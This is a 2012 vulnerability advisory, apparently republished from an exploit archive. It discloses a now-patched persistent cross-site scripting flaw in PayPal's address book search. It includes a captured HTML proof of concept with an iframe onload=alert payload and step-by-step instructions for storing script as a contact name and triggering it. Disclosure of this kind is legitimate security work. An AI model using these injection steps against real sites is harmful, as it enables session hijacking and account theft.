exploit the possibilities

PayPal Cross Site Scripting

PayPal Cross Site Scripting
Posted Dec 14, 2012
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

PayPal suffered from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | a8247c614a6ea20b63e195def7d3797b

PayPal Cross Site Scripting

Change Mirror Download
Title:
======
Paypal Core Bug Bounty #3 - Persistent Web Vulnerability


Date:
=====
2012-12-12


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=635


VL-ID:
=====
635


Common Vulnerability Scoring System:
====================================
4


Introduction:
=============
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4–9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract:
=========
The Vulnerability Laboratory Research Team discovered persistent web vulnerability in the official Paypal (core) ecommerce website content management system.


Report-Timeline:
================
2012-06-30: Researcher Notification & Coordination
2012-06-30: Vendor Notification
2012-07-02: Vendor Response/Feedback 1
2012-10-08: Vendor Response/Feedback 2
2012-12-11: Vendor Fix/Patch
2012-12-12: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Affected Products:
==================
Paypal - Core Application [2012 Q2-3]

Severity:
=========
Medium


Details:
========
A persistent input validation vulnerability is detected in the official Paypal (core) ecommerce website content management system.
The bug allows remote attackers to implement/inject own malicious script code on the application side (persistent).

The persistent input validation vulnerability is located in the Adressbuch module with the bound vulnerable search function
when processing to request script code tags as `Addressbuch` contacts. The code will be executed out of the search result
listing web context. Remote exploitation requires low user interaction and a privileged paypal banking application user account.

Successful exploitation of the vulnerability results in persistent session hijacking (admin), account steal via persistent phishing or
persistent search module web context manipulation.

Vulnerable Module(s):
[+] Adressbuch > Search > Benutzer/Kontakt

Vulnerable Parameter(s):
[+] search_str - Results

Affected Section(s):
[+] Results - Index (Listing)


Proof of Concept:
=================
The persistent vulnerability can be exploited by remote attackers with privileged paypal user account and low required user interaction.
For demonstration or reproduce ...

PoC: [Existing Listing] (Index) Adressbuch > Search > Benutzer/Kontakt > results

<form sourceindex="5" method="post" name="searchContact" action="https://www.paypal.com/de/cgi-bin/webscr?
SESSION=4b304_obgVN3fxg6LFp08F6lUBD7aWq0HG3SWv5HSmrKxR_xRzWrZOtwRDq&
dispatch=5885d80a13c0db1f8e263663d3faee8d8494db97
03d295b4a2116480ee01a05c" class=""><input name="cmd" value="_flow" type="hidden"><input id="baseUrl" name="baseUrl"
value="www.paypal.com/de" type="hidden"><input id="selectLabel" name="selectLabel" value="" type="hidden"><input id="currentid"
name="current_id" value="0" type="hidden"><input id="CONTEXT_CGI_VAR" name="CONTEXT" value="X3-7SZn2ExXucINxlliZ_05NdFsrIIpaV9TcRYNLL
_GiOwm9XgEZzWKQeV0" type="hidden"><div class="searchMainDiv"><fieldset id="searchBy"><legend class="accessAid">Suchen</legend><span
class="floatLeft"><label for="search_str"><strong>Suchen</strong></label><input sourceindex="6" autocomplete="off" id="search_str"
name="search_str" value=""><[PERSISTENT SCRIPT CODE INJECTION] <" type="text"><input sourceindex="7"
name="searchGo.x" value="Los" class="button elemAjax" type="submit"></span><span><input sourceindex="8" name="addContact.x"
value="Neuen Kontakt hinzufügen" class="button floatRight" type="submit"></span></fieldset></div><div class="floatLeft"
id="resultPanel"><div id="resultDiv"><div id="leftSide"><ul id="val"><li class="rowLeft oddRow focus" id="L1">
<span class="results">"><[PERSISTENT SCRIPT CODE INJECTION]"…</span'><span
class='viewEditLink
show'></span></li></ul></div><div
id='rightSideDiv' class='withBorder' tabindex='0'><div class='view
show'><h3>"><[PERSISTENT SCRIPT CODE INJECTION] <("</h3><div class='links'> <span
class='buttonAsLink'><input type='submit'
name='editCID-T22A-J6G3-GZBY-SHK8.x' value='Bearbeiten'></span>
| <span class='buttonAsLink'><input type='submit' id='delete'
name='deleteCID-T22A-J6G3-GZBY-SHK8.x' value='Löschen'
class='deleteButton'></span></span></div><div
class='info'><span class='address'>"><iframe src=a
onload=alert(" "><iframe src=a onload=alert("</span><span
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")
<</span><span
class='address'>bkm@vulnerability-lab.com</span><span
class='address'>Deutschland</span></div><div
class='info'><span class='address
heading'>Zusatzinformationen</span><span
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")
<</span></div><div class='info'><span
class='address heading'>Rechnungsadresse</span><span
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")
<<br>Deutschland</span></div></div></div></div></iframe></span></li>
</ul></div></div></div><input name="auth" value="M8_dK6Q4HG9oPBKoZ_4I6YQ6TWdaI00OnfMkOwWXQ6pOZjZRca8TSAO38hIC585zYBbTFKQz1Qg7UOte0VbD_ah-
dzZjkiuSC-unZSf6mNBym71XfmcQvdV0WPwOUivermg9_ZZWTQH7yV9OG-bLLIzxH3ZFUJHX0uQzwZ-4v65aKp5013-712a
00pnY9m2cURtoC02BRhB_kOkuODdR5I6pS_NXG5ZmIMgnrJhkSgYl09piAB0icMRkReu" type="hidden">
<input name="form_charset" value="UTF-8" type="hidden"></form>


Note:

The name with the code was saved in the addressbook. Only the matching and successful result leads to the persistent execution of the web context.
When the other user is searching the existing account of the addressbook the code will be executed persistent out of the matching search result
web context listing. If you do not know this it will be a bit harder to reproduce. The bug is 100% existing because the screenshots show it
and also the poc. I found the issue by manually exploitation over the different application layers and function. Maybe i guessed to implement
this details to the submission. The requested code with the malicious persistent code can be reviewed in the attached poc document.


Manually reproduce ...

1. Go to the addressbook and switch to add a new contact to adressbook
2. Include script code (html/js) as username to the addressbook and save the context
2. Now, switch to the user search (addressbook) module (other layer) & click the user contact search to activate
3. Include the exact name of the username (script code (html/js)) from the addressbook and press the search button
4. The context of the other layer from the addressbook will be executed directly out of the results listing page of the exisiting user contacts
5. Done! POST REQUEST: method="post" name="searchContact"


Solution:
=========
The vulnerability can be patched by parsing the addressbook search results module with the bound vulnerability matching account listing.


Risk:
=====
The security risk of the persistent script code inject vulnerability is estimated as medium(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

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Copyright © 2012 | Vulnerability Laboratory



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